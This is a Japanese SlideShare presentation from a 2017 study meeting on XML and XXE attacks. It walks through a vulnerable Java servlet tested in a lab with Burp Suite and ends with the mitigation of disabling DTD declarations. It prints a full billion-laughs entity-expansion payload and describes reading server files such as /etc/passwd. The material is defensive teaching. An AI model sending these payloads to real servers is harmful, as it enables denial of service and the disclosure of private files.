SlideShare ist ein Scribd-Unternehmen logo
1 von 30
いまさら話題のXML
~XXE攻撃のお話~
@shunaroo
とっしんの会 #2
2017/12/17
自己紹介
@shunaroo
 社会人5年目の社内SE
 社内向けシステム開発とか社内PJの支援とか
 社内のセキュリティ対策整備(今年から)
 興味ある事
 セキュリティ(どちらかというと攻撃の方)
 ディープラーニング NEW!
 とっしんの会 #1にて、ディープラーニング常識的な感じだったので
焦って勉強中
 久々の数式に悪戦苦闘しながらも割と楽しい
コレ
今日のお話
最近話題のXML
~キーワード~
・XML
・XXE攻撃
・OWASP
なんでいまさらXML?
突如 流星の如く OWASP TOP 10にXMLの攻撃がランクインしたため
コレ
OWASPとは?
OWASP(Open Web Application Security Project)
Webアプリのセキュリティのコミュニティ
・セキュリティの現状調査
・セキュアな開発を促進
https://www.owasp.org/index.php/Main_Page
みんなでセキュアに
していこう!
OWASP TOP10とは?
特に注意したほうがよいとされる10のWebアプリケーション脆弱性
・3,4年で更新される
・この10個をセキュリティ対策範囲やテスト範囲としているベンダもある
(この範囲が変わると大変な人もいる)
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
OWASPではTOP10のほかにも便利な成果物を多数リリース
・脆弱性診断ツール
・セキュア開発ドキュメント
などなど
なんでXMLの脆弱性がランクイン?
それは誰もわからない
Twitterでも疑問の嵐
理由はともあれとりあえず調べてみた
XML(ExtensibleMarkupLanguage)
・「意味」と「内容」を分けたデータ形式
プレゼン表紙をXML形式にするとこんなの↓
<presentation>
<title>Too Late Topic of XML</title>
<speaker> shunaroo</speaker>
</presentation>
参考)CSV形式の場合
“Too Late Topic of XML”, shunaroo
まずはXMLのおさらい
データの意味がわかりやすい
発表者がだれかわかる
データの意味がわかりにくい
shunarooとは?(哲学)
実はいろいろなところで使われている
主な用途はプログラミングの設定ファイル
参照
あなたの好きなサイトやソフトの裏側
すごいプログラム XML形式の設定
みんな大好きOffice製品のデータ形式(○○x)のXはXMLの意味
XMLが使われていることを確認する方法
拡張子を
ZIPに変更
展開
Yeah!!
XMLにかかせないDTD
XMLは自由に書くことはできるが、
いろいろな人が使う場合自由すぎるとカオスになる(争いの元)
XMLにかかせないDTD
いろいろな人が使う場合、ルールがほしくなる(ないとカオス)
⇒DTD(Document Type Definition)でXMLのルールを定義する
プレゼン表紙XMLのDTD
<!DOCTYPE presentation [
<!ELEMENT presentation(title, presenter)>
<!ELEMENT title(#PCDATA)>
<!ELEMENT speaker (#PCDATA)>
]>
一番上のタグの名前を定義
一番上のタグの要素を定義
タグの中に2つのタグがあることを表す
タグの要素をそれぞれ定義
<presentation>
<title> Too Late Topic of XML </title>
<speaker> shunaroo</ speaker >
</presentation>ルールに従って作ったのがコレ
タグの要素をそれぞれ定義
タグの中身は文字が入ることを表す
便利な実体参照
繰り返し使う文字やまとまりを毎回いちいち書くのは面倒
同じところをすべて直すのも面倒
⇒実体参照(&実体名;)を使う
<!DOCTYPE presentation [
<!ENTITY refTitle " Too Late Topic of XML ">
<!ENTITY refSpeaker SYSTEM "K:speaker.xml">
]>
<presentation>
<title>&refTitle;</title>
<speaker>&refSpeaker;</speaker>
</presentation>
shunaroo
Too late Topic of XMLと書くのとのと同じ
shunarooと書くのと同じ
おさらいはここまで
XXE攻撃とは?
XML External Entity=XMLの外部実体参照のこと
XXE攻撃
外部実体参照の脆弱性をついた攻撃
主な目的は2つ
①情報の搾取
外部実体参照の仕組みを利用し、サーバ内の情報を得ようとする
②サービス停止
参照をさせまくり、サービスに負荷をかける
実際やってみた
検証環境
サーブレットアプリを作成し、リクエストの中身を書き換えて攻撃してみた
ブラウザ(クローム)
サーバ(Tomcat)
プロキシツール(Burp Suite)
ブラウザからサーバへのリクエスト
を書き換える
OS(Windows)
にゃ~ん
アプリについて
TitleタグとSpeakerタグの要素を画面に表示するだけ
protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("text/plain; charset=UTF-8");
PrintWriter out = response.getWriter();
try {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(request.getInputStream()));
String title = doc.getElementsByTagName("title").item(0).getTextContent();
String speaker = doc.getElementsByTagName("speaker").item(0).getTextContent();
out.println("Title:" + title + " Speaker:" + speaker);
} catch (Exception e) {
e.printStackTrace();
}
}
超参考:https://www.mbsd.jp/blog/20171130.html
要素を取得
取得した要素を表示
まずは正常のリクエスト
BurpSuiteで普通のリクエストをサーバに送信
各タグの要素を表示
BodyにXMLを記載
ん?
実はXXE攻撃の片りん(①情報の搾取)
サーバと同じ権限でファイルの中身表示できちゃううううううううううううう
Linux系だったら/etc/passwdを指定すれば
パスワードファイルがのぞけちゃうOMG!
XXE攻撃(②サービス停止)
外部参照しまくる
<!DOCTYPE presentation [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<!ENTITY lol10 "&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;">
]>
<presentation>
<title>Too Late Topic of XML</title>
<speaker>shunaroo&lol10;</speaker>
</presentation>
XXE攻撃(②サービス停止)
外部参照しまくる
<!DOCTYPE presentation [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<!ENTITY lol10 "&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;">
]>
<presentation>
<title>Too Late Topic of XML</title>
<speaker>shunaroo&lol10;</speaker>
</presentation>
参照回数
10回
100回
1000回
1万回
10万回
100万回
1000万回
1億回
10億回
一つの実体参照に見えるが
10億回の参照が発生
めっちゃ地味な嫌がらせ
XXE攻撃(②サービス停止)
外部参照しまくる
何も出ない
XXE攻撃(②サービス停止)
外部参照しまくる
サーバ側でExceptionが発生していた
JDK1.7では64000回までの拡張制限があった
言語やフレームワークによっては
DoS攻撃が成功しない場合もある模様
XXE攻撃の対策
外部からのDTDを許可しない!!
例えばさっきのアプリの場合
DTD宣言の無効化設定を追加
protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("text/plain; charset=UTF-8");
PrintWriter out = response.getWriter();
try {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(request.getInputStream()));
String title = doc.getElementsByTagName("title").item(0).getTextContent();
String speaker = doc.getElementsByTagName("speaker").item(0).getTextContent();
out.println("Title:" + title + " Speaker:" + speaker);
} catch (Exception e) {
e.printStackTrace();
}
}
超参考:https://www.mbsd.jp/blog/20171130.html
DTD無効化
例えばさっきのアプリの場合
◎DTDがある場合、
何も表示しなくなった
まとめ
今日の話
XMLの外部実体参照にまつわる攻撃と対策
対策/教訓
そもそも知らない人からもらったDTDを信用しない
セキュリティの世界は性悪説が基本
入力系セキュリティ対策=すべて基本的に疑う!
参考
XXE攻撃 基本編
https://www.mbsd.jp/blog/20171130.html
OWASP
https://www.owasp.org/index.php/Main_Page
Burp Suite
https://portswigger.net/burp

Weitere ähnliche Inhalte

Was ist angesagt?

「GraphDB徹底入門」〜構造や仕組み理解から使いどころ・種々のGraphDBの比較まで幅広く〜
「GraphDB徹底入門」〜構造や仕組み理解から使いどころ・種々のGraphDBの比較まで幅広く〜「GraphDB徹底入門」〜構造や仕組み理解から使いどころ・種々のGraphDBの比較まで幅広く〜
「GraphDB徹底入門」〜構造や仕組み理解から使いどころ・種々のGraphDBの比較まで幅広く〜
Takahiro Inoue
 
メタプログラミングって何だろう
メタプログラミングって何だろうメタプログラミングって何だろう
メタプログラミングって何だろう
Kota Mizushima
 
インフラエンジニアのためのcassandra入門
インフラエンジニアのためのcassandra入門インフラエンジニアのためのcassandra入門
インフラエンジニアのためのcassandra入門
Akihiro Kuwano
 

Was ist angesagt? (20)

SQLアンチパターン - ナイーブツリー
SQLアンチパターン - ナイーブツリーSQLアンチパターン - ナイーブツリー
SQLアンチパターン - ナイーブツリー
 
MySQL・PostgreSQLだけで作る高速あいまい全文検索システム
MySQL・PostgreSQLだけで作る高速あいまい全文検索システムMySQL・PostgreSQLだけで作る高速あいまい全文検索システム
MySQL・PostgreSQLだけで作る高速あいまい全文検索システム
 
Apache Arrow
Apache ArrowApache Arrow
Apache Arrow
 
「GraphDB徹底入門」〜構造や仕組み理解から使いどころ・種々のGraphDBの比較まで幅広く〜
「GraphDB徹底入門」〜構造や仕組み理解から使いどころ・種々のGraphDBの比較まで幅広く〜「GraphDB徹底入門」〜構造や仕組み理解から使いどころ・種々のGraphDBの比較まで幅広く〜
「GraphDB徹底入門」〜構造や仕組み理解から使いどころ・種々のGraphDBの比較まで幅広く〜
 
Azure SecOps! Azure Key Vaultを用いたクラウドのキー管理
Azure SecOps! Azure Key Vaultを用いたクラウドのキー管理Azure SecOps! Azure Key Vaultを用いたクラウドのキー管理
Azure SecOps! Azure Key Vaultを用いたクラウドのキー管理
 
ストリーム処理プラットフォームにおけるKafka導入事例 #kafkajp
ストリーム処理プラットフォームにおけるKafka導入事例 #kafkajpストリーム処理プラットフォームにおけるKafka導入事例 #kafkajp
ストリーム処理プラットフォームにおけるKafka導入事例 #kafkajp
 
AWS Security JAWS 経済的にハニーポットのログ分析をするためのベストプラクティス?
AWS Security JAWS 経済的にハニーポットのログ分析をするためのベストプラクティス?AWS Security JAWS 経済的にハニーポットのログ分析をするためのベストプラクティス?
AWS Security JAWS 経済的にハニーポットのログ分析をするためのベストプラクティス?
 
シェル・ワンライナー160本ノック
シェル・ワンライナー160本ノックシェル・ワンライナー160本ノック
シェル・ワンライナー160本ノック
 
あなたのScalaを爆速にする7つの方法(日本語版)
あなたのScalaを爆速にする7つの方法(日本語版)あなたのScalaを爆速にする7つの方法(日本語版)
あなたのScalaを爆速にする7つの方法(日本語版)
 
ゼロから始める転移学習
ゼロから始める転移学習ゼロから始める転移学習
ゼロから始める転移学習
 
PlaySQLAlchemy: SQLAlchemy入門
PlaySQLAlchemy: SQLAlchemy入門PlaySQLAlchemy: SQLAlchemy入門
PlaySQLAlchemy: SQLAlchemy入門
 
SQLアンチパターン 幻の第26章「とりあえず削除フラグ」
SQLアンチパターン 幻の第26章「とりあえず削除フラグ」SQLアンチパターン 幻の第26章「とりあえず削除フラグ」
SQLアンチパターン 幻の第26章「とりあえず削除フラグ」
 
SolrとElasticsearchを比べてみよう
SolrとElasticsearchを比べてみようSolrとElasticsearchを比べてみよう
SolrとElasticsearchを比べてみよう
 
とある診断員とSQLインジェクション
とある診断員とSQLインジェクションとある診断員とSQLインジェクション
とある診断員とSQLインジェクション
 
PostgreSQL 15の新機能を徹底解説
PostgreSQL 15の新機能を徹底解説PostgreSQL 15の新機能を徹底解説
PostgreSQL 15の新機能を徹底解説
 
メタプログラミングって何だろう
メタプログラミングって何だろうメタプログラミングって何だろう
メタプログラミングって何だろう
 
Logstashを愛して5年、370ページを超えるガチ本を書いてしまった男の話.
Logstashを愛して5年、370ページを超えるガチ本を書いてしまった男の話.Logstashを愛して5年、370ページを超えるガチ本を書いてしまった男の話.
Logstashを愛して5年、370ページを超えるガチ本を書いてしまった男の話.
 
強いて言えば「集約どう実装するのかな、を考える」な話
強いて言えば「集約どう実装するのかな、を考える」な話強いて言えば「集約どう実装するのかな、を考える」な話
強いて言えば「集約どう実装するのかな、を考える」な話
 
DBスキーマもバージョン管理したい!
DBスキーマもバージョン管理したい!DBスキーマもバージョン管理したい!
DBスキーマもバージョン管理したい!
 
インフラエンジニアのためのcassandra入門
インフラエンジニアのためのcassandra入門インフラエンジニアのためのcassandra入門
インフラエンジニアのためのcassandra入門
 

Ähnlich wie いまさら話題のXML

Ähnlich wie いまさら話題のXML (7)

Atrandom.20101030
Atrandom.20101030Atrandom.20101030
Atrandom.20101030
 
徳丸本ができるまで
徳丸本ができるまで徳丸本ができるまで
徳丸本ができるまで
 
20191013_Wolf and Seven Little Goats -Serverless Fairy Tales-
20191013_Wolf and Seven Little Goats  -Serverless Fairy Tales-20191013_Wolf and Seven Little Goats  -Serverless Fairy Tales-
20191013_Wolf and Seven Little Goats -Serverless Fairy Tales-
 
セキュリティ対策は攻撃者視点で考えよう
セキュリティ対策は攻撃者視点で考えようセキュリティ対策は攻撃者視点で考えよう
セキュリティ対策は攻撃者視点で考えよう
 
THK_ITS #5 2010.11.13
THK_ITS #5 2010.11.13THK_ITS #5 2010.11.13
THK_ITS #5 2010.11.13
 
ざっくり学ぼうあぶないWebアプリの脆弱性
ざっくり学ぼうあぶないWebアプリの脆弱性ざっくり学ぼうあぶないWebアプリの脆弱性
ざっくり学ぼうあぶないWebアプリの脆弱性
 
OWASP Top 10 超初級編 (2021 Ver.)
OWASP Top 10 超初級編 (2021 Ver.)OWASP Top 10 超初級編 (2021 Ver.)
OWASP Top 10 超初級編 (2021 Ver.)
 

Mehr von shuna roo

Mehr von shuna roo (12)

オープンソースソフトウェアのお話
オープンソースソフトウェアのお話オープンソースソフトウェアのお話
オープンソースソフトウェアのお話
 
MITRE ATT&CKマッピングのペストプラクティスでたよ
MITRE ATT&CKマッピングのペストプラクティスでたよMITRE ATT&CKマッピングのペストプラクティスでたよ
MITRE ATT&CKマッピングのペストプラクティスでたよ
 
Mitre T1070 #INDICAOTR REMOVAL ON HOST
Mitre T1070 #INDICAOTR REMOVAL ON HOSTMitre T1070 #INDICAOTR REMOVAL ON HOST
Mitre T1070 #INDICAOTR REMOVAL ON HOST
 
MITRE ATT&CK t1071 Application Layer Protocol
MITRE ATT&CK t1071 Application Layer ProtocolMITRE ATT&CK t1071 Application Layer Protocol
MITRE ATT&CK t1071 Application Layer Protocol
 
TryHackMeに学ぶハッキングスキル
TryHackMeに学ぶハッキングスキルTryHackMeに学ぶハッキングスキル
TryHackMeに学ぶハッキングスキル
 
5分で分かる(かもしれない)バグバウンティ
5分で分かる(かもしれない)バグバウンティ5分で分かる(かもしれない)バグバウンティ
5分で分かる(かもしれない)バグバウンティ
 
Cyber Kill Chain サイバーキルチェーン
Cyber Kill Chain サイバーキルチェーンCyber Kill Chain サイバーキルチェーン
Cyber Kill Chain サイバーキルチェーン
 
Open xINT CTF Bus Writeup@shunaroo
Open xINT CTF Bus Writeup@shunarooOpen xINT CTF Bus Writeup@shunaroo
Open xINT CTF Bus Writeup@shunaroo
 
Open Souce Intelligence (OSINT)
Open Souce Intelligence (OSINT)Open Souce Intelligence (OSINT)
Open Souce Intelligence (OSINT)
 
ハニーポットはじめてみました
ハニーポットはじめてみましたハニーポットはじめてみました
ハニーポットはじめてみました
 
Capture the flag(CTF)@shunaroo
Capture the flag(CTF)@shunarooCapture the flag(CTF)@shunaroo
Capture the flag(CTF)@shunaroo
 
DVWAで爆上げWebAppセキュリティスキル@shunaroo
DVWAで爆上げWebAppセキュリティスキル@shunarooDVWAで爆上げWebAppセキュリティスキル@shunaroo
DVWAで爆上げWebAppセキュリティスキル@shunaroo
 

いまさら話題のXML